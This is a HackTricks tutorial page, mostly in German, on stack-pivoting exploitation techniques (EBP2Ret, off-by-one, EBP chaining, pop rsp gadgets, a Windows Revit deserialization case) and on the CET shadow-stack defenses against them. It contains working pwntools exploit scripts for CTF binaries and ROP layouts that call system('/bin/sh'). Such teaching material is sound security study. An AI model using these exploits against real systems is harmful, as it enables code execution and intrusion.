Stack Pivoting

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Grundlegende Informationen

Diese Technik nutzt die Möglichkeit, den Base Pointer (EBP/RBP) zu manipulieren, um durch gezielte Verwendung des frame pointer und der Instruktionssequenz leave; ret die Ausführung mehrerer Funktionen zu verketten.

Zur Erinnerung, auf x86/x86-64 ist leave äquivalent zu:

mov       rsp, rbp   ; mov esp, ebp on x86
pop       rbp        ; pop ebp on x86

Da das gespeicherte EBP/RBP im Stack vor dem gespeicherten EIP/RIP liegt, kann man es kontrollieren, indem man den Stack kontrolliert.

Notes

  • On 64-bit, replace EBP→RBP and ESP→RSP. Semantics are the same.
  • Some compilers omit the frame pointer (see “EBP might not be used”). In that case, leave might not appear and this technique won’t work.

EBP2Ret

Diese Technik ist besonders nützlich, wenn du das gespeicherte EBP/RBP verändern kannst, aber keinen direkten Weg hast, EIP/RIP zu ändern. Sie nutzt das Verhalten des Funktions-Epilogs.

Wenn es dir während der Ausführung von fvuln gelingt, einen fake EBP auf dem Stack zu injizieren, der auf einen Speicherbereich zeigt, in dem die Adresse deiner shellcode/ROP chain liegt (plus 8 bytes auf amd64 / 4 bytes auf x86, um das pop zu berücksichtigen), kannst du RIP indirekt kontrollieren. Wenn die Funktion zurückkehrt, setzt leave RSP auf die manipulierte Position und das anschließende pop rbp verringert RSP, wodurch es effektiv auf eine vom Angreifer dort abgelegte Adresse zeigt. Dann verwendet ret diese Adresse.

Beachte, dass du 2 Adressen kennen musst: die Adresse, auf die ESP/RSP zeigen wird, und der Wert, der an dieser Adresse gespeichert ist und den ret verwenden wird.

Exploit Construction

Zuerst musst du eine Adresse kennen, an die du arbitrary data/addresses schreiben kannst. RSP wird hierhin zeigen und den ersten ret konsumieren.

Dann musst du die Adresse wählen, die von ret verwendet wird und die die Ausführung übernimmt. Du könntest verwenden:

  • Eine gültige ONE_GADGET Adresse.
  • Die Adresse von system() gefolgt vom passenden Return und Argumenten (on x86: ret target = &system, then 4 junk bytes, then &"/bin/sh").
  • Die Adresse eines jmp esp; Gadgets (ret2esp) gefolgt von inline shellcode.
  • Eine ROP chain, die im beschreibbaren Speicher abgelegt ist.

Denke daran, dass vor jeder dieser Adressen im kontrollierten Bereich Platz für das pop ebp/rbp von leave vorhanden sein muss (8B auf amd64, 4B auf x86). Du kannst diese Bytes missbrauchen, um einen zweiten fake EBP zu setzen und die Kontrolle nach der Rückkehr des ersten Calls zu behalten.

Off-By-One Exploit

Es gibt eine Variante, die verwendet wird, wenn du nur das least significant byte des gespeicherten EBP/RBP ändern kannst. In diesem Fall muss der Speicherort, der die Adresse enthält, zu der mit ret gesprungen werden soll, die ersten drei/fünf Bytes mit dem ursprünglichen EBP/RBP teilen, damit eine 1-Byte-Überschreibung sie umleiten kann. Üblicherweise wird das low byte (offset 0x00) erhöht, um so weit wie möglich innerhalb einer nahegelegenen Seite/ausgerichteten Region zu springen.

Es ist auch üblich, einen RET sled im Stack zu verwenden und die eigentliche ROP chain am Ende zu platzieren, um die Wahrscheinlichkeit zu erhöhen, dass das neue RSP in den sled zeigt und die finale ROP chain ausgeführt wird.

EBP Chaining

Indem man eine kontrollierte Adresse in dem gespeicherten EBP-Slot des Stacks platziert und ein leave; ret Gadget in EIP/RIP, ist es möglich, ESP/RSP zu einer vom Angreifer kontrollierten Adresse zu verschieben.

Nun ist RSP kontrolliert und die nächste Instruktion ist ret. Platziere im kontrollierten Speicher etwas wie:

  • &(next fake EBP) -> Wird von pop ebp/rbp aus leave geladen.
  • &system() -> Wird von ret aufgerufen.
  • &(leave;ret) -> Nachdem system endet, verschiebt RSP zum nächsten fake EBP und fährt fort.
  • &("/bin/sh") -> Argument für system.

Auf diese Weise ist es möglich, mehrere gefälschte EBPs zu verketten, um den Programmfluss zu kontrollieren.

Das ist wie ein ret2lib, aber komplexer und nur in Edge-Cases nützlich.

Außerdem gibt es hier ein example of a challenge, das diese Technik mit einem stack leak verwendet, um eine winning function aufzurufen. Dies ist die finale Payload von der Seite:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (reach saved RBP)

payload += flat(
buffer,         # Load leaked address in RBP
LEAVE_RET       # Use leave to move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

amd64 alignment tip: System V ABI requires 16-byte stack alignment at call sites. If your chain calls functions like system, add an alignment gadget (e.g., ret, or sub rsp, 8 ; ret) before the call to maintain alignment and avoid movaps crashes.

EBP wird möglicherweise nicht verwendet

Wie explained in this post, wenn ein Binary mit bestimmten Optimierungen oder mit deaktiviertem Frame-Pointer kompiliert wurde, kontrolliert EBP/RBP niemals ESP/RSP. Daher schlägt jeder Exploit fehl, der EBP/RBP kontrolliert, da der Prolog/Epilog nicht vom Frame-Pointer wiederhergestellt wird.

  • Nicht optimiert / Frame-Pointer verwendet:
push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • Optimiert / Frame-Pointer weggelassen:
push   %ebx         # save callee-saved register
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore
ret                 # return

Auf amd64 siehst du häufig pop rbp ; ret anstelle von leave ; ret, aber wenn der frame pointer vollständig weggelassen wird, gibt es keinen rbp-basierten Epilog, durch den man pivoten könnte.

Weitere Wege, RSP zu kontrollieren

pop rsp gadget

In this page findest du ein Beispiel, das diese Technik verwendet. Für diese Challenge musste eine Funktion mit 2 spezifischen Argumenten aufgerufen werden, und es gab ein pop rsp gadget und es gibt einen leak from the stack:

# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg , rsp gadget

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

Siehe die ret2esp-Technik hier:

Ret2esp / Ret2reg

Pivot-Gadgets schnell finden

Verwende deinen bevorzugten gadget finder, um nach klassischen pivot primitives zu suchen:

  • leave ; ret in Funktionen oder Bibliotheken
  • pop rsp / xchg rax, rsp ; ret
  • add rsp, <imm> ; ret (oder add esp, <imm> ; ret auf x86)

Beispiele:

# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"

# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"

Klassisches pivot-staging-Muster

Eine robuste pivot-Strategie, die in vielen CTFs/exploits verwendet wird:

  1. Verwende einen kleinen initialen Overflow, um read/recv in einen großen beschreibbaren Bereich (z. B. .bss, heap oder gemappten RW-Speicher) aufzurufen und dort eine vollständige ROP-Chain zu platzieren.
  2. Spring zurück in ein pivot gadget (leave ; ret, pop rsp, xchg rax, rsp ; ret), um RSP in diesen Bereich zu verschieben.
  3. Führe die gestaffelte Chain aus (z. B. leak libc, rufe mprotect auf, lade dann Shellcode mit read und springe anschließend dorthin).

Windows: Destructor-loop weird-machine pivots (Revit RFA Fallstudie)

Clientseitige Parser implementieren manchmal destructor loops, die indirekt einen function pointer aufrufen, der aus attacker-controlled Objektfeldern abgeleitet ist. Wenn jede Iteration genau einen indirekten Aufruf bietet (eine “one-gadget”-Maschine), kannst du dies in einen zuverlässigen stack pivot und ROP-Einstieg umwandeln.

Beobachtet in Autodesk Revit RFA deserialization (CVE-2025-5037):

  • Gefälschte Objekte des Typs AString setzen einen Zeiger auf attacker bytes bei Offset 0.
  • Die destructor loop führt effektiv ein gadget pro Objekt aus:
rcx = [rbx]              ; object pointer (AString*)
rax = [rcx]              ; pointer to controlled buffer
call qword ptr [rax]     ; execute [rax] once per object

Zwei praktische pivots:

  • Windows 10 (32-bit heap addrs): nicht ausgerichtetes “monster gadget”, das 8B E0mov esp, eax enthält, schließlich ret, um vom call primitive zu einer heap-basierten ROP chain zu pivoten.
  • Windows 11 (full 64-bit addrs): verwende zwei Objekte, um einen constrained weird-machine pivot zu treiben:
  • Gadget 1: push rax ; pop rbp ; ret (bewegt den ursprünglichen rax in rbp)
  • Gadget 2: leave ; ... ; ret (wird mov rsp, rbp ; pop rbp ; ret), pivoting in den Puffer des ersten Objekts, wo eine konventionelle ROP chain folgt.

Tips for Windows x64 after the pivot:

  • Respect the 0x20-byte shadow space and maintain 16-byte alignment before call sites. It’s often convenient to place literals above the return address and use a gadget like lea rcx, [rsp+0x20] ; call rax followed by pop rax ; ret to pass stack addresses without corrupting control flow.
  • Non-ASLR helper modules (if present) provide stable gadget pools and imports such as LoadLibraryW/GetProcAddress to dynamically resolve targets like ucrtbase!system.
  • Creating missing gadgets via a writable thunk: if a promising sequence ends in a call through a writable function pointer (e.g., DLL import thunk or function pointer in .data), overwrite that pointer with a benign single-step like pop rax ; ret. The sequence then behaves like it ended with ret (e.g., mov rdx, rsi ; mov rcx, rdi ; ret), which is invaluable to load Windows x64 arg registers without clobbering others.

For full chain construction and gadget examples, see the reference below.

Moderne Schutzmaßnahmen, die stack pivoting (CET/Shadow Stack) brechen

Moderne x86 CPUs und OSes setzen zunehmend CET Shadow Stack (SHSTK) ein. With SHSTK enabled, ret compares the return address on the normal stack with a hardware-protected shadow stack; any mismatch raises a Control-Protection fault and kills the process. Therefore, techniques like EBP2Ret/leave;ret-based pivots will crash as soon as the first ret is executed from a pivoted stack.

  • Für Hintergrund und detailliertere Informationen siehe:

CET & Shadow Stack

  • Schnelle Prüfungen auf Linux:
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'

# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo

# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status   # expect: shstk (and possibly wrss)

# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
  • Hinweise für Labs/CTF:

  • Some modern distros enable SHSTK for CET-enabled binaries when hardware and glibc support is present. For controlled testing in VMs, SHSTK can be disabled system-wide via the kernel boot parameter nousershstk, or selectively enabled via glibc tunables during startup (see references). Don’t disable mitigations on production targets.

  • JOP/COOP or SROP-based techniques might still be viable on some targets, but SHSTK specifically breaks ret-based pivots.

  • Windows note: Windows 10+ exposes user-mode and Windows 11 adds kernel-mode “Hardware-enforced Stack Protection” built on shadow stacks. CET-compatible processes prevent stack pivoting/ROP at ret; developers opt-in via CETCOMPAT and related policies (see reference).

ARM64

In ARM64, the prologue and epilogues of the functions don’t store and retrieve the SP register in the stack. Moreover, the RET instruction doesn’t return to the address pointed by SP, but to the address inside x30.

Therefore, by default, just abusing the epilogue you won’t be able to control the SP register by overwriting some data inside the stack. And even if you manage to control the SP you would still need a way to control the x30 register.

  • prologue
sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FP points to frame record
  • epilogue
ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret

Caution

The way to perform something similar to stack pivoting in ARM64 would be to be able to control the SP (by controlling some register whose value is passed to SP or because for some reason SP is taking its address from the stack and we have an overflow) and then abuse the epilogue to load the x30 register from a controlled SP and RET to it.

Also in the following page you can see the equivalent of Ret2esp in ARM64:

Ret2esp / Ret2reg

References

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks